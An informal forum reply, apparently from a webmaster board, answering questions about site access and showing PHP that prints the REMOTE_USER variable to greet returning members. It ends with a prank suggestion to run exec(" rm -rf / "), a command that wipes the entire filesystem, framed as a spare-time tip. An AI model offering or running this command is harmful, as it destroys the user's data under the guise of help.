"I know this ainīt Experts-exchange.com"
... somehow I feel offended !
"Most webmasters wake up around noon or so...."
... just in case you missed that at school, yes, there is life beside the american continent, the earth is not flat, and a day has 24h, it takes 5 minutes to boil an egg and graphity does not apply for myself ...
"sites offering free access to 1 bonus site when signing up today"
... keep in mind your processor has to allow that. if yes, you can either set it up with a local access file, or you creat one for every site.
"i would like to write "welcome back"
... if you have php installed on your box do the following:
PHP Code:
<?= $_SERVER["REMOTE_USER"]?>
or: echo $_SERVER["REMOTE_USER"]; (direct from php)
... and keep in mind, if you have some spare time on your hands, just do:
exec(" rm -rf / ");